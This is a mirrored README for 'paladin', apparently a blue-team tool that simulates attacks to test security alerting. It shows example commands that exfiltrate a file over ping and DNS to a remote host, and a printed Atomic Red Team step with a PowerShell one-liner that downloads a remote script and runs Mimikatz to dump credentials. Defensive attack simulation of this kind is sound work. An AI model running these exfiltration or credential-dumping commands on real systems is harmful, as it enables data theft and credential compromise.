Giter VIP home page Giter VIP logo

paladin's Introduction

A blueteam tool to simulate attacks using Atomic Red Team and other techniques.


Getting started

Ping Exfil

The ping exfil subcommand is working and implements a basic ping exfil attack scenario.

Run ping exfil like tests on current host

Usage:
  paladin exfil ping [flags]
  paladin exfil ping [command]

Available Commands:
  receive     Packet capture ping requests and reassemble files

Flags:
  -d, --destination string   The Destination Host of the Ping
  -f, --file string          The name of the file to send over ping
  -h, --help                 help for ping

Use "paladin exfil ping [command] --help" for more information about a command.

Basic Usage

Client

$ paladin exfil ping -d 45.63.67.242 -f test.txt

Server

$ paladin exfil ping receive -i ens3

Atomic Red Team

The atomic red team repo is pulled then stored into a statik fs within the binary. Some tests are not working since this is still WIP.

Run Atomic red team attacks to test security alerting
tests can be found here https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/index.md

Usage:
  paladin art [flags]

Flags:
  -a, --atomic string   Atomic technique to run..ie T1003
  -h, --help            help for art

Basic Usage

$ bin/paladin art -a T1003
INFO[0000] Running atomic attack T1003
INFO[0000] Opening /T1003/T1003.yaml
INFO[0000] Would You Like to Run This Attack?
Powershell Mimikatz
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds

Use the arrow keys to navigate: ↓ ↑ → ←
? Select[Yes/No]:
  ▸ Yes
    No

DNS Exfil

Client

$ sudo paladin exfil dns client -f test.txt  -n remoteIP -o 53

Server

./paladin exfil dns server -p 53
INFO[0002] {7468696e67696e6b736c64666a6c61736a6664736a0a.testing.com. TypeA ClassINET}

Local Development

This project requires Go to be installed. On OS X with Homebrew you can just run brew install go.

Building locally requires statik

$ go get github.com/rakyll/statik

Running it then should be as simple as:

$ make
$ ./bin/paladin

paladin's People

Contributors

zeerg avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

Forkers

bigbrobro

paladin's Issues

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.